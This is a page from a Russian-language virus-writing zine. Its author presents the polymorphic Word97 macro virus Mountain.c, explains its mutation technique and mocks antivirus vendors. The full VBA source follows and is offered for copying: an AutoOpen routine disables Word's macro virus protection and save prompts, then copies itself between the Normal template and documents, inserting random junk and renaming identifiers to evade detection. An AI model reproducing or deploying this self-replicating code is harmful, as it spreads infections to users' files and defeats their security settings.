- [Duke's Virus Labs #7] - [Page 17] - Macro.Word97.Mountain.c (c) by Duke/SMF Имя вируса : Macro.Word97.Mountain.c Автор : Duke/SMF Язык прогр. : VBA Дата создания : 16.05.99 Реакция AV : AVP - Macro.Word97.Hill.c F-Prot - W97M/Hill.C (intended) Помыслил я написать что-нибудь полиморфное для Word97. Первым моим шагом на новом поприще было создание вируса Mountain.a. У него был очень простой полиморфный механизм - разбавление текста вируса строками комментариев, которые генерировались случайным образом. С каждым разом вирус становился все больше и больше; прикольно, но большая тушка себя выдает. В новой версии Mountain.b я добавил замену имен процедур, функций и переменных на случайно генерирующиеся. К тому же я добавил изрядную порцию багов. "Как ни крути" (c) Sprite а вирус получился не очень жизнеспособный. Поэтому в третьей версии я пофиксил баги и добавил фильтрацию мусора в теле вируса - перед тем как разбавить тело вируса новой порцией мусора, из вируса удалялся старый мусор. Как все это реализовано. Посторочно считываем код вируса из пораженного файла и записываем его в кодовый сегмент поражаемого файла, попутно проводя мутацию. Мусор бывает двух видов - комментарий и присваивание. Если строка кода вируса начинается НЕ с пробела, то после этой строки мусор писать нельзя (попадем мимо тела процедуры/функции). Если строка кода содержит символ "'" (в любом месте), то это мусор и его нужно отфильтровать при заражении. Почти все переменные/процедуры/функции начинаются с "Mountain", поэтому все вхождения этой строки заменяются на другую свежесгенерированную строку. Как видите, все очень просто. Все инсинуации F-Prot'а относительно неработоспособности вируса абсолютно беспочвенны. Для примера я поместил в журнал не только первое поколение вируса, но и смутировавшее второе. Видимо аверов ставит в тупик наличие символа "'" в середине строки ;-)) AVP сперва тоже попался на эту удочку, но вовремя исправился в кумулятиве. ===== Cut here ===== Public MountainJ, MountainRN Public MountainMT, MountainVT Sub AutoOpen() On Error Resume Next Set NT = NormalTemplate.VBProject.VBComponents(1).CodeModule Set AD = ActiveDocument.VBProject.VBComponents(1).CodeModule Options.VirusProtection = False Options.ConfirmConversions = False Options.SaveNormalPrompt = False Randomize MountainMT = "Mountain" MountainVT = MountainGN(20, 26, 65) MountainRN = Mid(Str(Int(20 * Rnd + 1)), 2) If NT.CountOfLines < 60 Then MountainS = MountainCM(AD, NT) Else If AD.CountOfLines < 60 Then MountainS = MountainCM(NT, AD) End If End If End Sub Function MountainCM(MountainOC, MountainKC) MountainJ = 1 For I = 1 To MountainOC.CountOfLines If MountainCS(MountainOC.Lines(I, 1)) <> 1 Then MountainLN = MountainRP(MountainOC.Lines(I, 1), MountainMT, MountainVT) MountainLN = MountainRP(MountainLN, "20", MountainRN) MountainKC.InsertLines MountainJ, MountainLN MountainJ = MountainJ + 1 If MountainCS(MountainOC.Lines(I, 1)) = 0 Then R = Rnd If R < 1 And R > 0.08 Then MountainKC.InsertLines MountainJ, " " + MountainGN(20, 26, 65) + " = " + Chr(34) + MountainGN(20, 128, 48) + Chr(34) + " " + Chr(39) + MountainGN(10, 128, 48) End If If R < 0.08 And R > 0.05 Then MountainKC.InsertLines MountainJ, " '" + MountainGN(20, 128, 48) End If If R < 0.05 And R > 0.03 Then MountainKC.InsertLines MountainJ, " '" End If If R > 0.03 Then MountainJ = MountainJ + 1 End If End If Next End Function Function MountainCS(MountainST) MountainCS = 0 For I = 1 To Len(MountainST) If Mid(MountainST, I, 1) = Chr(39) Then MountainCS = 1 Next If Mid(MountainST, 1, 1) <> " " Then MountainCS = 2 End Function Function MountainGN(MountainSA, MountainSB, MountainSC) MountainGN = "" For MountainI = 1 To Int(MountainSA * Rnd + 1) MountainGN = MountainGN + Chr(Int(MountainSB * Rnd + MountainSC)) Next End Function Function MountainRP(MountainST, MountainZA, MountainZB) MountainLA = Len(MountainZA) For ii = 1 To Len(MountainST) If Mid(MountainST, ii, MountainLA) = MountainZA Then MountainST = Mid(MountainST, 1, ii - 1) + MountainZB + Mid(MountainST, ii + MountainLA) End If Next MountainRP = MountainST End Function ===== Cut here =====